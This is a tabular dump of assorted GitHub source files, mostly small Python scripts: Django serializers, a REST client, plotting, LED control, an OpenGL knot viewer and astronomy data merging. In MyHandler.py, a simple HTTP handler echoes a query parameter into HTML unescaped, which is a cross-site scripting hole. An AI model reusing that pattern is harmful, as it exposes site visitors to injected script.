blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
5
283
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
41
license_type
stringclasses
2 values
repo_name
stringlengths
7
96
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
58 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
12.7k
662M
star_events_count
int64
0
35.5k
fork_events_count
int64
0
20.6k
gha_license_id
stringclasses
11 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
43 values
src_encoding
stringclasses
9 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
7
5.88M
extension
stringclasses
30 values
content
stringlengths
7
5.88M
authors
sequencelengths
1
1
author
stringlengths
0
73
84178e114b1f0fb6622e34ee24e0a583a0796c36
d34f4feef39eca8e7f8beb7dfe3378925fda0e5f
/python/Basic Grammer1/python059.py
4bec23b392b7a71eb183005b4a4f7df096ac5226
[]
no_license
chryred/sources
ba34b4275ed767cb4a559bdcbbe51a352b8102e0
b280bef55682a5d3b16a4153939550c2f1b5b8da
refs/heads/master
2020-12-30T13:10:04.364161
2017-11-05T14:02:01
2017-11-05T14:02:01
91,341,527
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
import time count = 1 try: while True: print(count) count += 1 time.sleep(0.5) except KeyboardInterrupt as ki: print("사용자에 의해 프로그램이 중단되었습니다")
6039f8ee977f5399c2aaed1a5625f75043522394
753f729f33a1b00a0a7f5c78d217cc4c609aee6f
/n8_ModelSerializerWithValidation/myapp.py
0a8637deb4c33d80069f5136d3b71d71f0090cd9
[]
no_license
nayan-gujju/DRF-Code
874114a861042d558112f1a8ec95daf1356d5493
6fb3fdd5dde352e7b6e3a7363da0e7a3057b1ede
refs/heads/master
2023-08-06T12:42:23.551603
2021-10-06T11:34:54
2021-10-06T11:34:54
404,650,413
0
0
null
null
null
null
UTF-8
Python
false
false
2,075
py
import requests from json import dumps URL = 'http://127.0.0.1:8000/studentapi/' print('1 :- Show Data ') print('2 :- Post Data ') print('3 :- Update Data ') print('4 :- Delete Data ') print('0 :- Exit') i = int(input('Select :-')) if i != 0: if i == 1: def get_data(id =None ): data = {} if id is not None: data = {'id':id} json_data = dumps(data) response = requests.get(url = URL, data = json_data) data = response.json() print(data) get_data() elif i == 2: def post_data(): print('++++++++++++ Enter Data +++++++++++') name = input("Enter the name of student:") roll = int(input("Enter the roll number of student:")) email = input("Enter the Email of student:") data = { 'name':name, 'roll':roll, 'email':email, } json_data = dumps(data) response = requests.post(url = URL, data = json_data) data = response.json() print(data) post_data() elif i == 3: def update_data(): print('++++++++++++ Enter Id For Update Data+++++++++++') id = int(input("Enter a id of student:")) data = { 'id': id, 'name':'Jaineel', 'email':'[email protected]', } json_data = dumps(data) response = requests.put(url = URL, data = json_data) data = response.json() print(data) update_data() elif i == 4: def delete_data(): print('++++++++++++ Enter Id For Delete Data+++++++++++') id = int(input("Enter a id of student:")) data = { 'id': id, } json_data = dumps(data) response = requests.delete(url = URL, data = json_data) data = response.json() print(data) delete_data()
234879b23d0f516cf43d2ef77525f8aafa7dfe87
3ac2978e0cf7550a72912dc446ee436d963b8a9b
/Api/api/posts/serializers.py
a1d760e3a30f54d0b3c466568fefcb6bc407982c
[]
no_license
baurzhansagyndyk/diplomjoba
edefe64e2f86ed141182ac96fb1dbaee1a9751ee
376e4b4944926a71104e941134c56abfad1783b6
refs/heads/master
2023-04-25T23:58:11.224463
2021-06-06T19:42:04
2021-06-06T19:42:04
374,419,438
0
0
null
null
null
null
UTF-8
Python
false
false
2,131
py
from django.contrib.auth.models import User, Group from rest_framework import serializers from .models import Post, Report class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User fields = ['url', 'username', 'email', 'groups'] class GroupSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Group fields = ['url', 'name'] class ReportSerializer(serializers.ModelSerializer): owner = serializers.ReadOnlyField(source='owner.username') admin = serializers.ReadOnlyField(source='admin.username') post_title = serializers.ReadOnlyField(source='post.title') post_id = serializers.IntegerField() class Meta: model = Report fields = ('id', 'owner', 'admin', 'post_title', 'post_id', 'text', 'is_active') class PostSerializer(serializers.ModelSerializer): owner = serializers.ReadOnlyField(source='owner.username') is_owner = serializers.SerializerMethodField() likes = serializers.SerializerMethodField() is_liked = serializers.SerializerMethodField(read_only=True) favorites = serializers.SerializerMethodField(read_only=True) is_favorited = serializers.SerializerMethodField(read_only=True) serializers.ImageField(use_url=True, required=False, allow_null=True) created = serializers.DateTimeField(format="%Y-%m-%d", required=False, read_only=True) class Meta: model = Post fields = '__all__' def get_is_liked(self, obj): if self.context.get('request').user.pk in obj.likes.values_list(flat=True): return True return False def get_likes(self, obj): return obj.likes.count() def get_is_favorited(self, obj): if self.context.get('request').user.pk in obj.favorite_users.values_list(flat=True): return True return False def get_favorites(self, obj): return obj.favorite_users.count() def get_is_owner(self, obj): requestedUser = self.context.get('request').user return obj.owner.pk == requestedUser.pk or requestedUser.username == 'admin'
[ "baurzhan" ]
baurzhan
bfc81e4e800e05d87e1a5e36947322ad5a6bce85
81e583ad7c3767b06059952754fa49c2188dfd7e
/3d plot.py
7db20aaee40c6266c37335971f48f87a6e8c5f8d
[]
no_license
credo-science/Simple-3D-presentation
96b97e7189b58980b3d3471c743c9ec1218d67a9
4590c1ba3d29a8c00995315e34fdf9b16db20c1c
refs/heads/master
2020-04-18T22:03:23.189372
2019-01-28T05:16:33
2019-01-28T05:16:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
959
py
# library from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import pandas as pd import seaborn as sns # Get the data (csv file is hosted on the web) url = 'detekcja.csv' data = pd.read_csv(url) # Transform it to a long format df=data.unstack().reset_index() df.columns=["X","Y","Z"] # And transform the old column name in something numeric df['X']=pd.Categorical(df['X']) df['X']=df['X'].cat.codes # Make the plot fig = plt.figure() ax = fig.gca(projection='3d') ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.viridis, linewidth=0.2) plt.show() # to Add a color bar which maps values to colors. surf=ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.viridis, linewidth=0.2) fig.colorbar( surf, shrink=0.5, aspect=5) plt.show() # Rotate it ax.view_init(30, 45) plt.show() # Other palette ax.plot_trisurf(df['Y'], df['X'], df['Z'], cmap=plt.cm.jet, linewidth=0.01) plt.show()
06455ac868fa8b59f3ec5fdc2c99548523c3b2ba
ea1fa56aae9c8d06aaa6f8e44feb2c9ccce970ec
/company/interviewcalendar/src/mapping.py
13e2829c497455cfd40f8793be72f42825be78a5
[]
no_license
longnguyen1981/InterviewCalendar
21afb631ffa56824ba96ebc3c27800c50f43dc33
abbe50eace64deb4233d7d8b11505962cd51dc67
refs/heads/master
2020-04-05T18:01:33.481283
2018-11-12T21:48:49
2018-11-12T21:48:49
157,085,626
0
0
null
2018-11-12T21:48:50
2018-11-11T14:07:26
null
UTF-8
Python
false
false
1,774
py
def validate_time(list_data: list): """ validate if time is not even Args: list_data: list of data Returns: dict {'code': <200 or failed code 415>, 'response': <either list of data or failed message>} """ out = dict(code=200, response=list_data) validate_data = [item for item in list_data if isinstance(item['fromhour'], int) and isinstance(item['fromhour'], int)] if len(validate_data) != len(list_data): out = dict(code=415, response='The time should be even') return out def map_calendar(list_data: list): """ map data to get common calendar Args: list_data: list of data Returns: list of dict with a form {'day': <day>, 'slots': [<timeslot>]} """ days = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'] hours = list(range(0, 25)) avail_hours = [] if len(list_data) != 0: names_to_set = set([item['name'] for item in list_data]) # get the days in which all are available map_day = [{'day': di, 'names': set([item['name'] for item in list_data if item['day'] == di]), 'value': [item for item in list_data if item['day'] == di]} for di in days] avail_days = [item for item in map_day if item['names'] == names_to_set] # get the time slots from the days in which all are available for item in avail_days: map_hour = [{'slot': hi, 'names': [it['name'] for it in item['value'] if it['fromhour'] <= hi and it['tohour'] >= hi]} for hi in hours] avail_hours.append({'day': item['day'], 'slots': [item['slot'] for item in map_hour if set(item['names']) == names_to_set]}) return avail_hours
b966afc07ae45b802955e9351ca176779ee37cfa
26258dbf5158a841c46f2ceb9bf780e3942f5440
/examples/test-analog.py
0965e5b0023d432429b04e850ca64c26bd32e3ba
[ "MIT" ]
permissive
hongaar/ringctl
9d4832f32d91adf4ee65a43a08b74a0d9785cee4
9e2adbdf16e85852019466e42be9d88a9e63cde5
refs/heads/main
2023-01-14T14:35:23.259354
2020-11-25T00:30:51
2020-11-25T00:30:51
314,072,122
1
0
null
null
null
null
UTF-8
Python
false
false
2,192
py
import time from rpi_ws281x import * import busio import digitalio import board import time import numpy from easing_functions import * import adafruit_mcp3xxx.mcp3008 as MCP from adafruit_mcp3xxx.analog_in import AnalogIn # LED strip configuration: LED_COUNT = 150 # Number of LED pixels. LED_PIN = 18 # GPIO pin connected to the pixels (18 uses PWM!). #LED_PIN = 10 # GPIO pin connected to the pixels (10 uses SPI /dev/spidev0.0). LED_FREQ_HZ = 800000 # LED signal frequency in hertz (usually 800khz) LED_DMA = 10 # DMA channel to use for generating signal (try 10) LED_BRIGHTNESS = 255 # Set to 0 for darkest and 255 for brightest LED_INVERT = False # True to invert the signal (when using NPN transistor level shift) LED_CHANNEL = 0 # set to '1' for GPIOs 13, 19, 41, 45 or 53 # sound sensor spi = busio.SPI(clock=board.SCK, MISO=board.MISO, MOSI=board.MOSI) cs = digitalio.DigitalInOut(board.D5) mcp = MCP.MCP3008(spi, cs) channel = AnalogIn(mcp, MCP.P0) interval = 0.01 moving_average = 0.05 # seconds max_voltage = 2.2 slots = int((1 / interval) * moving_average) measurements = [0] * slots index = 0 min_value = -65 max_value = 127 threshold = 100 use_average = True def set_color(strip, color): for i in range(strip.numPixels()): strip.setPixelColor(i, color) strip.show() # Main program logic follows: if __name__ == '__main__': strip = Adafruit_NeoPixel(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_BRIGHTNESS, LED_CHANNEL) strip.begin() ease = QuadEaseIn(start=min_value, end=max_value, duration=max_voltage) while True: if use_average: index += 1 if index > slots - 1: index = 0 measurements[index] = channel.voltage voltage = numpy.mean(measurements) else: voltage = channel.voltage value = int(ease.ease(voltage)) value = max(value, 0) value = min(value, max_value) print(str(value) + ' ', end='\r') set_color(strip, Color(value, int(0.1*value), 0)) time.sleep(interval)
7e8cc3b4ca930ac19369e2a13d9e2d0f32445536
c3f8a8b903aa2a37b431d987706c4fcd5f427898
/tools/py/driver/__init__.py
e134aac7c9c10e05e88d8985cda76ad024987e4f
[ "Apache-2.0" ]
permissive
distobj/versa
d7102a0b6940eba4bf673296fcb2cefeca34e1b8
fd9461937181bdbbd91b513ffaed6ec73050c2b3
refs/heads/master
2021-01-09T08:11:47.446098
2014-12-03T14:52:22
2014-12-03T14:52:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,516
py
''' [ (origin, rel, target, {attrname1: attrval1, attrname2: attrval2}), ] The optional attributes are metadata bound to the statement itself ''' class connection_base(object): def query(expr): '''Execute a Versa query''' raise NotImplementedError def match(self, origin=None, rel=None, target=None, attrs=None, include_ids=False): ''' Retrieve an iterator of relationship IDs that match a pattern of components origin - (optional) origin of the relationship (similar to an RDF subject). If omitted any origin will be matched. rel - (optional) type IRI of the relationship (similar to an RDF predicate). If omitted any relationship will be matched. target - (optional) target of the relationship (similar to an RDF object), a boolean, floating point or unicode object. If omitted any target will be matched. attrs - optional attribute mapping of relationship metadata, i.e. {attrname1: attrval1, attrname2: attrval2}. If any attribute is specified, an exact match is made (i.e. the attribute name and value must match). include_ids - If true include statement IDs with yield values ''' raise NotImplementedError def add(self, origin, rel, target, attrs=None, rid=None): ''' Add one relationship to the extent origin - origin of the relationship (similar to an RDF subject) rel - type IRI of the relationship (similar to an RDF predicate) target - target of the relationship (similar to an RDF object), a boolean, floating point or unicode object attrs - optional attribute mapping of relationship metadata, i.e. {attrname1: attrval1, attrname2: attrval2} rid - optional ID for the relationship in IRI form. If not specified one will be generated. returns an ID (IRI) for the resulting relationship ''' raise NotImplementedError def add_many(self, rels): ''' Add a list of relationships to the extent rels - a list of 0 or more relationship tuples, e.g.: [ (origin, rel, target, {attrname1: attrval1, attrname2: attrval2}, rid), ] origin - origin of the relationship (similar to an RDF subject) rel - type IRI of the relationship (similar to an RDF predicate) target - target of the relationship (similar to an RDF object), a boolean, floating point or unicode object attrs - optional attribute mapping of relationship metadata, i.e. {attrname1: attrval1, attrname2: attrval2} rid - optional ID for the relationship in IRI form. If not specified for any relationship, one will be generated. you can omit the dictionary of attributes if there are none, as long as you are not specifying a statement ID returns a list of IDs (IRI), one for each resulting relationship, in order ''' raise NotImplementedError def delete(self, rids): ''' Delete one or more relationship, by ID, from the extent rids - either a single ID or an sequence or iterator of IDs ''' raise NotImplementedError def add_iri_prefix(self, prefix): ''' Add an IRI prefix, for efficiency of table scan searches XXX We might or might not need such a method, based on perf testing ''' raise NotImplementedError #import postgresql #DRIVERS = { # 'http://purl.org/xml3k/akara/dendrite/drivers/postgresql': postgresql.connection, #}
8d95f2bc1c41be1b6ca1d84d99bd5e5e5bc06e88
0602950895302e66a09fa04341bd2261e88b7c9a
/py/runs.py
4844891237db8d969a60b986a28179e152f694a5
[]
no_license
DriftingPig/Obi-Metallica
813b6980a8a13f94468f32baf4f3565e0d0ee866
c8c53ff429df2a5ee6dfbd4d6c3f3fd6a313a387
refs/heads/master
2021-01-08T16:43:55.713559
2020-03-12T13:37:38
2020-03-12T13:37:38
242,082,180
2
0
null
null
null
null
UTF-8
Python
false
false
3,137
py
""" Grabs, configures, and otherwise sets up a production run on eBOSS DR3 data or DR5 data """ import os from glob import glob import numpy as np from obiwan.common import stack_tables from astrometry.util.fits import fits_table, merge_tables DOWNLOAD_ROOT = "http://portal.nersc.gov/project/desi/users/kburleigh/obiwan/" NERSC_ROOT = DOWNLOAD_ROOT.replace("http://portal.nersc.gov/project/", "/global/project/projectdirs/")\ .replace("/users/","/www/users/") MAX_CCDS=62 def in_eboss(T): # TODO: ccd corners instead of center x= np.logical_and.reduce((T.ra > 317.,T.ra < 360., T.dec > -2, T.dec < 2)) y= np.logical_and.reduce((T.ra > 0.,T.ra < 45., T.dec > -5.,T.dec < 5.)) z= np.logical_and.reduce((T.ra > 126., T.ra < 169.,T.dec > 14.,T.dec < 29.)) return np.logical_or.reduce((x,y,z)) def add_str_arrays(lis): assert(len(lis) > 1) a= lis[0] for b in lis[1:]: a= np.char.add(a,b) return a def rm_duplicates(T): """survey-ccds fits_table""" T.pid= add_str_arrays([T.expnum.astype(str), np.char.strip(T.image_filename)]) keep=np.ones(len(T),bool) pids= set(T.pid) for cnt,pid in enumerate(pids): if (cnt+1) % 100 == 0: print('%d/%d' % (cnt+1,len(pids))) ind= np.where(T.pid == pid)[0] # More than 62 ccds have same expnum, must be dup if ind.size > MAX_CCDS: tmp_keep= np.zeros(len(T[ind]),bool) for ccdid in set(T[ind].ccdname): tmp_ind= np.where(T[ind].ccdname == ccdid)[0] # duplicated ccdname if tmp_ind.size > 1: tmp_keep[ tmp_ind[1:] ] =True # drop these keep[ ind[tmp_keep] ]= False # drop these by cut() method print('%d/%d are duplicates' % (np.where(keep == False)[0].size,len(keep))) return keep if __name__ == "__main__": eboss_fns= glob(os.path.join(NERSC_ROOT,'configs/dr3eBOSS/additional_ccds', "survey-ccds-*.fits.gz")) dr3_fns= glob(os.path.join(NERSC_ROOT,'configs/dr3eBOSS/dr3', "survey-ccds-*.fits.gz")) assert(len(eboss_fns) > 0) assert(len(dr3_fns) > 0) dr3= stack_tables(dr3_fns,textfile=False) eboss= stack_tables(eboss_fns,textfile=False) dr3.set('pid', add_str_arrays([dr3.expnum.astype(str), np.char.strip(dr3.image_filename)])) eboss.set('pid', add_str_arrays([eboss.expnum.astype(str), np.char.strip(eboss.image_filename)])) dr3.cut( in_eboss(dr3)) eboss.cut( in_eboss(eboss)) T= merge_tables([dr3,eboss], columns='fillzero') keep= rm_duplicates(T) T.cut(keep) name='survey-ccds-ebossDR3.fits' T.writeto(name) print('Wrote %s' % name) a=set(dr3.pid).union(set(eboss.pid)) fn=[lin.split("decam/")[1] for lin in a] name='eboss_image_list.txt' with open(name,'w') as foo: for f in fn: foo.write('%s\n' % f) print('Wrote %s' % name)
91a1d4a3089e4593c075092accda336a098f6154
0329c2a6cb7fba886bb777bfc478d11244f7d6e2
/firstAp/apps.py
c59938abb4bf3905866b59350f519fb8def01693
[]
no_license
rutebuka1/lndjango
bb211a04eef3b7d00dfd2ba923e05324e2c60e64
811309f3652b094b2de008dbb5c6acba340d9355
refs/heads/master
2022-02-19T09:53:22.102866
2019-09-14T11:53:48
2019-09-14T11:53:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
154
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class FirstapConfig(AppConfig): name = 'firstAp'
8c9733a8da3900e35bc172e55780f5d29ff4fb47
841a6dab2b197cb32b6918442c639fa50c1c71b3
/source/MyHandler.py
5c1a91916495e422c68277109ad005e7a9195e76
[ "MIT" ]
permissive
robertolrodriguez/Raspberry-Pi-Web-Server-With-Python
cd1ab0905069c98ece4455bac075cbbd9af8632b
7f7f331d2f653a67e1aa110f24fe981d9dc93baa
refs/heads/master
2021-04-12T11:54:35.679474
2013-10-14T13:29:00
2013-10-14T13:29:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
951
py
import SimpleHTTPServer import urlparse class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): parsedParameters = urlparse.urlparse(self.path) queryParsed = urlparse.parse_qs(parsedParameters.query) if ( 'name' in queryParsed ): self.processMyRequest(queryParsed) else: SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self); def processMyRequest(self, query): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() nameString = query['name'] clientAddress = self.client_address[0] if nameString[0]: self.wfile.write("<!DOCTYPE html>") self.wfile.write("<html>") self.wfile.write("<body>") self.wfile.write("<h1>Welcome " + nameString[0] + "</h1>") self.wfile.write("<h2>from " + clientAddress + "</h2>") self.wfile.write("</body>") self.wfile.write("</html>") self.wfile.close()
66a5a53864020275cc46b410cc8333aecbbe67da
ea4e3ac0966fe7b69f42eaa5a32980caa2248957
/download/unzip/pyobjc/pyobjc-14/pyobjc/stable/PyOpenGL-2.0.2.01/OpenGL/Demo/twburton/knot.py
f0404071989f56ef5d9c7cbff8c7a85061a490bc
[]
no_license
hyl946/opensource_apple
36b49deda8b2f241437ed45113d624ad45aa6d5f
e0f41fa0d9d535d57bfe56a264b4b27b8f93d86a
refs/heads/master
2023-02-26T16:27:25.343636
2020-03-29T08:50:45
2020-03-29T08:50:45
249,169,732
0
0
null
null
null
null
UTF-8
Python
false
false
5,450
py
#! # This is statement is required by the build system to query build info if __name__ == '__build__': raise Exception from OpenGL.GL import * from OpenGL.GLU import * from OpenGL.GLE import * from OpenGL.GLUT import * from math import * from Numeric import * from random import * import string def loadKnot(filename): f = open(filename) curves = [] points = [] for line in f.readlines(): if string.lower(line[:9]) == 'component': if len(points): curves.append(points) points = [] else: try: points.append(array(map(float, line.split()))) except: pass if len(points): curves.append(points) points = [] f.close() return curves def get_a(n): a = 2.0*ones(((n+3)/2-(n%2),), Float) a[0] = 1.0 if not n % 2: a[-1] == 1.0 return a/n def eval_pos(s, n, a): return dot(a, cos(2*pi*s/n*array(range(len(a)), Float))) def eval_loop(s, v, a): global n, S S = s n = len(v) b = fromfunction(lambda i, j: cos(2*pi/n*(S-i)*j), (n, len(a))) return matrixmultiply(matrixmultiply(b, a), v) def refine(points): #~ import time #~ n = len(points) #~ a = get_a(n) #~ print a #~ s = map(lambda x: [float(x), 0.0], range(n)) #~ s[0][1] = 1.0 #~ now = time.time() #~ pos = 0 #~ while pos < len(s): #~ next_pos = (pos + 1) % len(s) #~ if next_pos: #~ next_s = s[next_pos][0] #~ else: #~ next_s = len(points) #~ sample = (s[pos][0] + next_s)*0.5 #~ exact = eval_pos(sample, n, a) #~ approx = (s[pos][1] + s[next_pos][1])*0.5 #~ if abs(exact - approx) > 0.01: #~ s.insert(pos + 1, [sample, exact]) #~ else: #~ pos = pos + 1 #~ print time.time() - now #~ now = time.time() #~ p = [] #~ for sample, pos in s: #~ p.append(eval_loop(sample, points, a)) #~ print time.time() - now #~ return p p = [] for i in range(len(points)): for j in range(10): s = j/10.0 x = array([0.0, 0.0, 0.0]) for k in range(-1, 3): m = 1.0 for l in range(-1, 3): if l != k: m = m*(s-l)/(k-l) x = x + m*points[(k+i) % len(points)] p.append(x) return array(p) class knotView: def __init__(self, filename, width = 640, height = 480): self.knot = loadKnot(filename) self.colors = [] for i in range(len(self.knot)): self.colors.append([random(), random(), random()]) self.list = None self.phi = 0 self.theta = 0 min_x = [sys.maxint]*3 max_x = [-sys.maxint]*3 for loop in self.knot: for x in loop: min_x = map(min, min_x, x) max_x = map(max, max_x, x) center = map(lambda y, z: (y + z)*0.5, min_x, max_x) self.radius = 0.0 for loop in self.knot: # print loop for x in loop: radius2 = 0.0 for i in range(3): x[i] = x[i] - center[i] radius2 = radius2 + x[i]**2 self.radius = max(self.radius, sqrt(radius2)) # map(refine, self.knot) self.knot = map(refine, self.knot) glutInitWindowSize(width, height) self.win = glutCreateWindow(filename) glutDisplayFunc(self.onDisplay) glutReshapeFunc(self.onReshape) glutSpecialFunc(self.onSpecial) glClearColor(1.0, 0.0, 0.0, 0.0) glClearDepth(1.0) glDepthFunc(GL_LESS) glEnable(GL_DEPTH_TEST) glShadeModel(GL_SMOOTH) glEnable(GL_LIGHTING) glEnable(GL_LIGHT0) glEnable(GL_CULL_FACE) glMatrixMode(GL_PROJECTION) glLoadIdentity() gluPerspective(45.0, float(width)/max(float(height), 1.0), 0.1, 100.0) glTranslatef(0, 0.0, -30.0) # glEnable(GL_AUTO_NORMAL) # glEnable(GL_NORMALIZE) glMatrixMode(GL_MODELVIEW) def onDisplay(self): glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) glShadeModel(GL_SMOOTH) glLoadIdentity() glRotatef(self.theta, -1, 0, 0) glRotatef(self.phi, 0, 0, 1) if self.list is None: self.list = glGenLists(1) glNewList(self.list, GL_COMPILE_AND_EXECUTE) gleSetNumSides(50) gleSetJoinStyle(TUBE_JN_ANGLE | TUBE_CONTOUR_CLOSED | TUBE_NORM_PATH_EDGE )# | TUBE_NORM_FACET) glMaterialf(GL_FRONT_AND_BACK, GL_SHININESS, 50) glMaterialfv(GL_FRONT_AND_BACK, GL_SPECULAR, ( 1.0, 1.0, 1.0, 1.0 )) for i in range(len(self.knot)): glMaterialfv(GL_FRONT, GL_DIFFUSE, self.colors[i] + [1]) loop = self.knot[i] glePolyCylinder(loop, None, self.radius/15.0) glEndList() else: glCallList(self.list) glutSwapBuffers() def onReshape(self, width, height): glViewport(0, 0, width, height) glMatrixMode(GL_PROJECTION) glLoadIdentity() gluPerspective(45.0, float(width)/max(float(height), 1.0), 0.1, 100.0) glTranslatef(0, 0.0, -30.0) glMatrixMode(GL_MODELVIEW) def onSpecial(self, key, x, y): if key == GLUT_KEY_LEFT: self.phi = (self.phi + 358) % 360 glutPostRedisplay() elif key == GLUT_KEY_RIGHT: self.phi = (self.phi + 2) % 360 glutPostRedisplay() elif key == GLUT_KEY_UP: self.theta = (self.theta + 358) % 360 glutPostRedisplay() elif key == GLUT_KEY_DOWN: self.theta = (self.theta + 2) % 360 glutPostRedisplay() if __name__ == '__main__': import sys args = glutInit(sys.argv) glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH) views = [] if len(args) == 1: args.append('8.10') # use append() for file in args[1:]: # skip first parameter views.append(knotView(file)) glutMainLoop()
cb04d5f9ab7bfb0965d62e71f74e129d11a3160b
a045055cb41f7d53e1b103c3655a17dc4cd18d40
/python-master/kubernetes/test/test_v1_service_account.py
f293473d1f873a3871948a5262490833566096ea
[]
no_license
18271693176/copy
22f863b180e65c049e902de0327f1af491736e5a
ff2511441a2df03817627ba8abc6b0e213878023
refs/heads/master
2020-04-01T20:20:28.048995
2018-11-05T02:21:53
2018-11-05T02:21:53
153,599,530
0
0
null
null
null
null
UTF-8
Python
false
false
962
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.10.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import kubernetes.client from kubernetes.client.rest import ApiException from kubernetes.client.models.v1_service_account import V1ServiceAccount class TestV1ServiceAccount(unittest.TestCase): """ V1ServiceAccount unit test stubs """ def setUp(self): pass def tearDown(self): pass def testV1ServiceAccount(self): """ Test V1ServiceAccount """ # FIXME: construct object with mandatory attributes with example values #model = kubernetes.client.models.v1_service_account.V1ServiceAccount() pass if __name__ == '__main__': unittest.main()
52c70e0265b9a498a97f3d6c35b8281bcd8ccf57
b648f465536a0f17b3dd966c80257b718210c5df
/gallery/migrations/0001_initial.py
9fd5e7d2cc9f725e07e44808988325bee258aff3
[]
no_license
Apamela/Gallery-pro
b729cdb21f67107f179777eafc548ba5b43ce7ed
c9acd332d67f4afacc33b5bf6617b26429725c07
refs/heads/master
2021-09-08T04:12:17.608822
2019-10-14T16:47:33
2019-10-14T16:47:33
214,118,488
0
0
null
2021-06-10T22:05:34
2019-10-10T07:41:04
Python
UTF-8
Python
false
false
1,501
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2019-10-12 15:46 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='category', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=60)), ], ), migrations.CreateModel( name='location', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ], ), migrations.CreateModel( name='Picture', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=60)), ('description', models.CharField(max_length=30)), ('pub_date', models.DateTimeField(auto_now_add=True)), ('picture_image', models.ImageField(upload_to='pictures')), ('category', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='gallery.category')), ], ), ]
fa442443f5afc75a28e355be24d6016dcee832ba
4c2cf0ec1869e4fa570161fa64ce69d64647e566
/DiRuggiero/growth_curve_plot.py
a51117db1af23010d5151a3d5904b64a323a7b1c
[]
no_license
hikari8/Rotation-Lab-Things
add3ea6bbb7f076753f2d5a6dbc9543334c61855
8ed9e6fdf5355b1ad7fd78ebe2c72e1d1b188881
refs/heads/master
2020-04-03T16:51:01.086901
2018-11-01T03:20:36
2018-11-01T03:20:36
155,421,651
0
0
null
null
null
null
UTF-8
Python
false
false
1,458
py
#!/usr/bin/env python3 """ ./growth_curve.py Growth curve plots for Hv with CRISPRi plasmid""" import sys import matplotlib.pyplot as plt import numpy as np raw_data = open(sys.argv[1]) name_of_strain = sys.argv[1].split(".")[0] interval = [] time = [] absorbance = [] for line in raw_data: if line.startswith("Time"): continue else: interval.append(int(line.split()[0])) time.append(float(line.split()[1])) absorbance.append(float(line.split()[2])) od600 = np.array(absorbance) actual_time = np.array(time) """ Ideally, I'd have a script to generlize this process and have growth curves overlaying """ # fig, ax = plt.subplots() # plt.plot(actual_time, od600, color = "salmon") # ax.set_xlabel("Time (hrs)") # ax.set_ylabel("OD600") # ax.set_xlim(0, 20) # ax.set_ylim(0, 1.0) # ax.set_title("Growth Curve \n" + str(name_of_strain)) # ax.set_xticks(np.arange(min(interval), max(interval), 2)) # ax.set_xticklabels(interval) # plt.tight_layout() # plt.savefig(str(name_of_strain) + " Growth Curve") # plt.close() fig, ax = plt.subplots() plt.scatter(actual_time, od600, s = 5.0, color = "salmon") ax.set_xlabel("Time (hrs)") ax.set_ylabel("OD600") ax.set_xlim(0, 52) ax.set_ylim(0, 1.0) ax.set_title("Growth Curve \n" + str(name_of_strain)) ax.set_xticks(np.arange(min(interval), max(interval), 2)) ax.set_xticklabels(interval) plt.tight_layout() plt.savefig(str(name_of_strain) + " Growth Curve") plt.close()
330d9f2cf0480bebe9ccddf6759547881c10cc82
76501e7cc77a15b77eed5b56a686410c19fb7aa8
/2-2/testCases.py
1c50fcf1ac7083da3f201fee0d86fc6b5e2ca1a1
[]
no_license
Kobebryant2408/Deep-learning-task
91016f2a1c409d5f4e7845a069ef66f6f63441ac
b0a00cdabb0ebd718775f86951f61af7374bd426
refs/heads/master
2020-03-27T21:40:58.540854
2018-12-17T09:00:32
2018-12-17T09:00:32
147,163,030
0
0
null
null
null
null
UTF-8
Python
false
false
3,247
py
